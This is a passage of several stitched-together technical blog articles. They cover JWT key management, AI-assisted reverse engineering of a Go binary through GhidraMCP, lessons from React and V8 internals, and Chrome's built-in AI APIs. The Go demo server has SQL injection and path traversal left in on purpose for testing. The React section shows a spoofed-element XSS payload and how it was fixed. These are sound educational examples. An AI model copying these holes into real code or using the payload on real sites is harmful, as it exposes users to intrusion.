Earlier, it was mentioned that many companies have no issues with key storage, but they do not do well in the key generation phase, allowing insiders to directly obtain the key, thus introducing internal risks.

Therefore, the safest method is “no one knows what this key is.”

“Anyone” includes SREs, CISO, CEO, or developers; no one knows what the key actually is.

For example, if you originally allowed SREs to generate the key themselves and then place it in AWS Secret Manager, you could change it to directly use the AWS Secret Manager’s create-secret command to generate a key and store it:

aws secretsmanager create-secret \  --name jwt-secret \  --generate-secret-string '{"PasswordLength":64}'

(This is just an example using AWS; similar services from other clouds should be about the same.)

In this way, when the key is generated, no one will know its contents.

Although this method is already safer than the previous one, upon closer inspection, there are still a few issues.

First, the key stored in AWS Secret Manager can be read; if you have the secretsmanager:GetSecretValue permission, you can read it. So if an SRE has this permission or sets it for themselves through other means, they can still access it.

Second, since the system needs to use this key, it must be readable. If a developer modifies a piece of code to dump the key’s contents into the log during CI or system startup, they can still know the plaintext of the key.

Both of these methods will leave records, such as AWS permission change logs, key read logs, and code commit logs, etc. Moreover, the attack premise of the second method is not low; usually, code needs to go through PR review before being pushed to production, and it may also be directly caught by DLP when printed.

But regardless of whether evidence is left behind, the point is that if an insider is determined to do harm, they can still obtain it.

One solution is to start with key rotation. When personnel who can access the key leave, remember to rotate all related keys to prevent leakage. Although we cannot prevent current employees from doing harm, at least we ensure that they automatically lose all permissions after leaving, and any information or keys they accessed while employed can no longer be used.

If you want to be even safer, even current employees should not be allowed to touch the key. This means removing the premise that “the system needs to obtain the key to encrypt and decrypt,” and instead, moving the encryption and decryption process to another trusted location.

This is what KMS (Key Management Service) commonly does.

In this type of service, you cannot obtain the key; it only exposes a few APIs to you, such as:

1. Encrypt
2. Decrypt
3. Sign
4. Verify

So when you need to encrypt or decrypt, you call the KMS API and wait for the result. In this process, you do not need the key at all; from key generation to usage, everything is done within KMS.

In simple terms, it is about isolating these key-related operations into a subsystem.

However, merely isolating it into a subsystem does not fundamentally solve the problem; this subsystem will encounter the same issue: what if the KMS is compromised? Will the key be leaked?

If you want to ensure that the key is truly not leaked (as completely as possible, but certainly not 100%), the ultimate solution is to hand over key management to specialized hardware, namely HSM (Hardware Security Module). These hardware devices are specifically designed to protect keys and even consider the risk of physical attacks, similar to what you see in movies, where a safe detects an intrusion attempt and self-destructs.

However, enterprise-grade HSMs typically start at hundreds of thousands of TWD. Besides purchasing HSMs, cloud service KMS can also be paired with Cloud HSM. For example, AWS’s KMS documentation states:

If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over an authenticated session to provision a hardware security module (HSM) backing key (HBK).

Speaking of Secret Manager and KMS, the concepts are somewhat similar in certain aspects, so let’s briefly discuss the differences.

Secret Manager is solely responsible for managing secrets, which can be tokens for calling third-party APIs or passwords for logging into certain services. These are all secrets, but they are not necessarily “keys,” as the term “key” specifically refers to cryptographic keys.

Key Management Service, on the other hand, is dedicated to managing keys, providing APIs related to encryption, decryption, and digital signatures, revolving around keys. Therefore, it also considers the generation of keys and their entire lifecycle, which is the difference between Secret Manager and KMS.

In simple terms, Secret Manager addresses “how to securely store secret information,” while KMS addresses “how to securely manage and use cryptographic keys.”

However, why do we put so much effort into protecting this key? That’s because, in the case of a JWT token, once the private key is taken, it can directly forge the identity of any user to log in… etc. Isn’t that a bit strange?

Additional Risks of Using JWT Tokens

In this classic article from 2016, Stop using JWT for sessions, three terms are defined:

1. Stateless JWT: session data is stored directly in the JWT
2. Stateful JWT: only session ID is stored in the JWT
3. Session token/cookie: traditional method, cookie stores session ID

What I want to discuss this time is mainly the first type.

In the first scenario, since the user’s data is stored directly in the JWT, if the JWT can be forged, it can lead to serious problems, just like this incident with Coupang.

However, if we use the traditional method or the second type, where we only store the session ID, since this is a random string, under unpredictable circumstances, attackers cannot do much more. Therefore, even if they obtain the key, they cannot directly forge identities.

In other words, the stateless JWT approach actually has a risk: if the key is stolen, it’s game over, so protecting the key becomes very important.

Another point to note is that if asymmetric encryption is used, in addition to protecting the private key, the public key also needs to be protected.

Huh? Why does the public key need protection?

Because the system uses the public key for verification, and this public key is usually placed at a fixed URL, such as .well-known/jwks.json.

If this URL is compromised, attackers can generate a new key pair and replace the public key, allowing them to pass with their own signed JWT token. Although all keys signed through legitimate channels will fail and the system will definitely raise an alarm, attackers still have a time window to successfully forge identities.

Therefore, both the private key and the public key need to be protected.

Conclusion

In the past, the first reaction to security incidents was often external hacker intrusions, but this time we saw a real case of an insider. The identity of “internal employees” inherently has more privileges and access to more information, and “internal developers” have even more access, especially if they are “developers of the internal auth system.”

Even after leaving the company, they still know more internal details than others and can more easily exploit vulnerabilities from the outside (for example, by stealing a piece of code and exploiting a vulnerability to gain access, or using known but unpatched vulnerabilities, etc.).

From the investigation report in Korea, we, as outsiders, can also get a glimpse of the technical details, trying to piece together which systems had issues and how to improve.

I believe many companies have some issues in generating keys; I’ve seen many cases where developers or SREs generate them and then store them in Secret Manager. Many companies also lack the resources to set up a KMS (or some may not have thought about it or realized the need to do so). These are all risks and will be discussed under the framework of risk management. Many companies currently choose to accept the risk, acknowledging its existence but deciding not to address it due to the low probability of occurrence.

If there is indeed a former employee who manages to sneak out some data, similar incidents are likely to happen again.

While observing this incident, I couldn’t help but think of my previous experience working in cryptocurrency-related insurance, as managing keys is crucial for exchanges, especially the private keys of wallets, which directly relate to large sums of money. At that time, I also looked into many methods for protecting private keys, took a lot of notes, and learned many technical terms. The HSM, KMS mentioned in this article, or the DEK (Data Encryption Key), KEK (Key Encryption Key), and envelope encryption that weren’t mentioned, are all quite interesting.

If I can retrieve the notes I wrote in the past and the memories that are gradually fading, I will come back to write another article later.

However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.

But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.

To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.

For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.

Environment Preparation

To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:

.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads

For the content, I’ll just paste a few of the main files. One is the route:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := handlers.NewAuthHandler(db)  userHandler := handlers.NewUserHandler(db)  avatarHandler := handlers.NewAvatarHandler(db)  authMiddleware := middleware.AuthMiddleware(config.JWTSecret)  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)    api.GET("/users/:id", authMiddleware, userHandler.GetUserByID)    api.GET("/me/messages", authMiddleware, userHandler.GetMyMessages)    api.POST("/me/avatar", authMiddleware, avatarHandler.Upload)  }  return r}

Next are the two intentionally embedded vulnerabilities: SQL injection during registration:

package handlersimport (  "database/sql"  "fmt"  "net/http"  "time"  "github.com/gin-gonic/gin"  "github.com/golang-jwt/jwt/v5"  "membership-api/config"  "membership-api/middleware"  "membership-api/models")type RegisterRequest struct {  Username string `json:"username" binding:"required"`  Email    string `json:"email" binding:"required"`  Password string `json:"password" binding:"required"`}type LoginRequest struct {  Username string `json:"username" binding:"required"`  Password string `json:"password" binding:"required"`}type AuthHandler struct {  DB *sql.DB}func NewAuthHandler(db *sql.DB) *AuthHandler {  return &AuthHandler{DB: db}}func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  passwordHash, err := models.HashPassword(req.Password)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := fmt.Sprintf("INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')",    req.Username, req.Email, passwordHash)  _, err = h.DB.Exec(query)  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

And path traversal during file upload:

package handlersimport (  "database/sql"  "net/http"  "path/filepath"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/middleware")type AvatarHandler struct {  DB *sql.DB}func NewAvatarHandler(db *sql.DB) *AvatarHandler {  return &AvatarHandler{DB: db}}func (h *AvatarHandler) Upload(c *gin.Context) {  userID, ok := middleware.GetUserID(c)  if !ok {    c.JSON(http.StatusUnauthorized, gin.H{"error": "unauthorized"})    return  }  file, err := c.FormFile("avatar")  if err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "missing avatar file"})    return  }  savePath := filepath.Join(config.UploadDir, file.Filename)  if err := c.SaveUploadedFile(file, savePath); err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})    return  }  _, err = h.DB.Exec("UPDATE users SET avatar_path = ? WHERE id = ?", file.Filename, userID)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to update avatar"})    return  }  c.JSON(http.StatusOK, gin.H{"message": "avatar uploaded", "path": file.Filename})}

After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:

CGO_ENABLED=0 go build -ldflags="-s -w" -trimpath -o dist/membership-api .

Preliminary Work

Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension

When analyzing, remember to check the relevant options:

After the analysis, you can actually see more detailed information in Ghidra:

But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.

So, we need to install something that truly connects AI with Ghidra: GhidraMCP. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.

After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:

{  "mcpServers": {    "ghidra": {      "command": "python",      "args": [        "/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py",        "--ghidra-server",        "http://127.0.0.1:8080/"      ]    }  }}

Up to this point, the preliminary work is ready.

By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.

Start Commanding the AI Agent to Work

Next, it’s time to reverse engineer using my words. I just told it this:

I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.

It will start calling MCP by itself and searching for what it wants:

Here is the translated content:

Finally, here are the libraries used by this binary:

And the API routes:

And the inferred file structure:

Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:

As a result, the routes.go it reverse-engineered looks like this:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := &handlers.AuthHandler{DB: db}  userHandler := &handlers.UserHandler{DB: db}  avatarHandler := &handlers.AvatarHandler{DB: db, UploadPath: "uploads"}  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)  }  apiAuth := r.Group("/api")  apiAuth.Use(middleware.AuthMiddleware())  {    apiAuth.GET("/users/:id", userHandler.GetUserByID)    apiAuth.GET("/my-messages", userHandler.GetMyMessages)    apiAuth.POST("/avatar", avatarHandler.Upload)  }  return r}

The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.

In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, /my-messages does not exist; it should be /me/messages. /avatar should also be /me/avatar. It seems some parts were skipped lazily.

The registration part looks like this:

func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  hashedPassword, err := bcrypt.GenerateFromPassword([]byte(req.Password), 10)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := `INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`  _, err = h.DB.ExecContext(c.Request.Context(), query, req.Username, req.Email, string(hashedPassword))  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.

However, the path traversal vulnerability during file upload still exists, and it was easily identified:

The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.

After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; /me became /my. I thought these should be completely restored?

Conclusion

Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.

Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”

However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.

Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.

The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.

After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.

I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.

This article is divided into three small sections:

1. XSS Vulnerabilities in Older Versions of React
2. Learning the Event Loop from React Fiber
3. Learning Underlying Mechanics from V8 Bugs

XSS Vulnerabilities in Older Versions of React

What security issues can you find in the following code?

function Test() {  const name = qs.parse(location.search).name;  return (    <div className="text-red">      <h1>{name}</h1>    </div>  )}

At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <img> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.

If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:

function Test() {  const name = qs.parse(location.search).name;  return createElement(    'div',    { className: 'text-red' },    createElement(      'h1',      {},      name    )  )}

JSX syntax is converted back to JavaScript during compilation. The old version uses React.createElement, while the new version has changed to _jsx, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.

After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:

function Test() {  const name = qs.parse(location.search).name;  return ({    type: 'div',    props: {      className: 'text-red',      children: {        type: 'h1',        props: {          children: name        }      }    }  })}

When React renders, it will render based on this object and display the name we passed in.

But the problem arises: libraries like qs actually support objects. For example, ?name[test]=1 would make name become {"test": 1}. Therefore, although this name should appear to be a string, it can actually be an object.

Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?

In older versions of React, this check is very simple:

ReactElement.isValidElement = function(object) {  return !!(    typeof object === 'object' &&    object !== null &&    'type' in object &&    'props' in object  )}

As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:

{  type: "div",  props: {    dangerouslySetInnerHTML: {      __html: "<img src=x onerror=alert()>"    }  }}

It would be treated as a React component and rendered accordingly.

In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.

This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: XSS via a spoofed React element, although the context in the original text is slightly different.

In summary, this issue caught React’s attention, leading to a discussion in an issue: How Much XSS Vulnerability Protection is React Responsible For? #3473, and the final fix can be found here: Use a Symbol to tag every ReactElement #4832.

The solution is: Symbol.

By adding a $$typeof: Symbol.for('react.element') to the React component and including this check in isValidElement, we can ensure that other objects cannot forge a React component.

The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.

In the future, if someone asks you where symbols can be used, you can use this case as an answer.

Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: Sequelize, operators were also represented as strings, such as:

Post.findAll({  where: {    authorId: {      '$or': [12, 13]    }  }});

However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:

const { Op } = require('sequelize');Post.findAll({  where: {    authorId: {      [Op.or]: [12, 13]    }  }});// operators.tsexport const Op: OpTypes = {  eq: Symbol.for('eq'),  ne: Symbol.for('ne'),  gte: Symbol.for('gte'),  or: Symbol.for('or'),  // [...]}

The underlying reason is the same, which is a consideration for information security. The original PR can be found here: Secure operators #8240.

By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.

Learning Event Loop from React Fiber

In 2018, I wrote an article related to React Fiber: A Brief Discussion on React Fiber and Its Impact on Lifecycles, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.

So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?

React 16.0.0 - requestIdleCallback

In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:

The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.

After breaking the original large task into smaller tasks, requestIdleCallback is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.

React 16.4.0 - requestAnimationFrame + postMessage

However, in React 16.4.0, it was replaced with a combination of requestAnimationFrame (hereafter referred to as rAF) and postMessage (this method was initially intended as a fallback for when requestIdleCallback was not available, but in this version, it was promoted and directly replaced requestIdleCallback).

In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using window.addEventListener('message', fn), triggered through window.postMessage.

The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):

Next, call rAF and postMessage again inside to schedule the callback for the next tick:

The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:

Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.

After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:

This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:

1. Calculate how much time can be spent executing tasks without interfering with rendering in rAF.
2. Execute tasks as much as possible in the message handler.

In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.

So why use postMessage and message handler? The reason is that if you use setTimeout(fn, 0), there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.

On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.

However, there is a downside to using the message handler, which is that the current usage is window.addEventListener('message', fn), so every time a task is scheduled, window.postMessage must be used. If there are other listeners on the page, it will be triggered repeatedly.

For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.

React 16.7.0 - requestAnimationFrame + MessageChannel

Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:

// DOM and Worker environments.// We prefer MessageChannel because of the 4ms setTimeout clamping.const channel = new MessageChannel();const port = channel.port2;channel.port1.onmessage = performWorkUntilDeadline;schedulePerformWorkUntilDeadline = () => {  port.postMessage(null);};

In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: [scheduler] Post to MessageChannel instead of window #14234.

It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.

React 16.12.0 - MessageChannel

However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:

So why switch to this mechanism? There are two places that explain it. The first is the code in 16.12.0:

// Scheduler periodically yields in case there is other work on the main// thread, like user events. By default, it yields multiple times per frame.// It does not attempt to align with frame boundaries, since most tasks don't// need to be frame aligned; for those that do, use requestAnimationFrame.let yieldInterval = 5;

The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.

The second explanation is from the issue Concurrency / time-slicing by default #21662, where someone asked if the scheduler was still using requestIdleCallback. Dan’s comment was:

No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.

This clarifies why requestIdleCallback was eliminated at the beginning, because it fired too late.

So how is the implementation in the latest version v19.2.0?

From the code, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.

In the Near Future: Native Scheduler API

In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native Scheduler API, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.

In fact, React is already using this to implement a set, but it is still in an unstable state: SchedulerPostTask.js. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.

In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.

Learning About Underlying Operations from V8 Bug

Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the code:

if (enableProfilerTimer) {  this.actualDuration = -0;  this.actualStartTime = -1.1;  this.selfBaseDuration = -0;  this.treeBaseDuration = -0;}

The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?

In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?

if (enableProfilerTimer) {    this.actualDuration = Number.NaN;  this.actualStartTime = Number.NaN;  this.selfBaseDuration = Number.NaN;  this.treeBaseDuration = Number.NaN;    this.actualDuration = 0;  this.actualStartTime = -1;  this.selfBaseDuration = 0;  this.treeBaseDuration = 0;}

All of this is related to the underlying operations of V8 and a bug.

Regarding this matter, V8 itself has a blog post: The story of a V8 performance cliff in React, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.

First of all, although we all know that in the JavaScript specification, all numbers are doubles, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.

Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.

To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.

When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.

The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, Object.preventExtensions is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of performance.now()).

This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.

Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.

Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.

When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.

However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?

Looking at Underlying Types from V8 Bytecode

Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:

function test(x) {  return x === 0;}function AAAAA () {  test(0);  test(-0);  test(3);  test(0/0); // NaN}AAAAA()

After compiling with the command node --print-bytecode test.js > out, the result is:

[generated bytecode for function: AAAAA (0x31bb2f7de971 <SharedFunctionInfo AAAAA>)]Bytecode length: 41Parameter count 1Register count 2Frame size 16Bytecode age: 0   62 S> 0x31bb2f7df776 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df778 @    2 : c4                Star0         0x31bb2f7df779 @    3 : 0c                LdaZero         0x31bb2f7df77a @    4 : c3                Star1   62 E> 0x31bb2f7df77b @    5 : 62 fa f9 00       CallUndefinedReceiver1 r0, r1, [0]   73 S> 0x31bb2f7df77f @    9 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df781 @   11 : c4                Star0         0x31bb2f7df782 @   12 : 13 00             LdaConstant [0]         0x31bb2f7df784 @   14 : c3                Star1   73 E> 0x31bb2f7df785 @   15 : 62 fa f9 02       CallUndefinedReceiver1 r0, r1, [2]   85 S> 0x31bb2f7df789 @   19 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df78b @   21 : c4                Star0         0x31bb2f7df78c @   22 : 0d 03             LdaSmi [3]         0x31bb2f7df78e @   24 : c3                Star1   85 E> 0x31bb2f7df78f @   25 : 62 fa f9 04       CallUndefinedReceiver1 r0, r1, [4]   96 S> 0x31bb2f7df793 @   29 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df795 @   31 : c4                Star0         0x31bb2f7df796 @   32 : 13 01             LdaConstant [1]         0x31bb2f7df798 @   34 : c3                Star1   96 E> 0x31bb2f7df799 @   35 : 62 fa f9 06       CallUndefinedReceiver1 r0, r1, [6]         0x31bb2f7df79d @   39 : 0e                LdaUndefined  114 S> 0x31bb2f7df79e @   40 : a9                ReturnConstant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>Handler Table (size = 0)Source Position Table (size = 21)0x31bb2f7df7a1 <ByteArray[21]>

You can see that 3 is directly LdaSmi, indicating it is Smi, while -0 and NaN are LdaConstant, loaded from the constant pool, which contains:

Constant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>

It is clear that both of these are heap numbers and do not belong to Smi.

From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.

In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.

Summary

In this article, we learned several things from the React source code:

1. The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.
2. The triggering timing and characteristics of various asynchronous functions such as requestIdleCallback, requestAnimationFrame, MessageChannel, and setTimeout, as well as how React arranges tasks at a lower level.
3. While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.

Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.

It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.

Chrome’s Built-in AI Related APIs

If you want to watch the official Google video directly, you can refer to this: The future of Chrome Extensions with Gemini in your browser. For a text version, you can check this article: Built-in AI API.

Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:

1. Translator API, for translation
2. Language Detector API, for detecting languages
3. Summarizer API, for summarizing articles

These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.

First, you need to check if it’s available and whether you need to download:

const translator = await Translator.create({  sourceLanguage: 'en',  targetLanguage: 'zh-TW',  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      console.log(`Downloaded ${e.loaded * 100}%`);    });  },});

That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.

Once downloaded, you can translate with just one line of code:

await translator.translate('How are you?');

That’s it, super simple.

However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.

Prompt API

In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: Try New Features Early Through Chrome Origin Trials.

I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.

Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.

https://aszx87410.github.io/demo/ai/prompt-api.html

The usage of this API is also super simple. The first step is to check availability and download:

await LanguageModel.create({  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      updateProgress(e.loaded);      if (e.loaded >= 1) {        updateStatus('✅ ready', 'available');      }    });  }});

Once downloaded, you can use it:

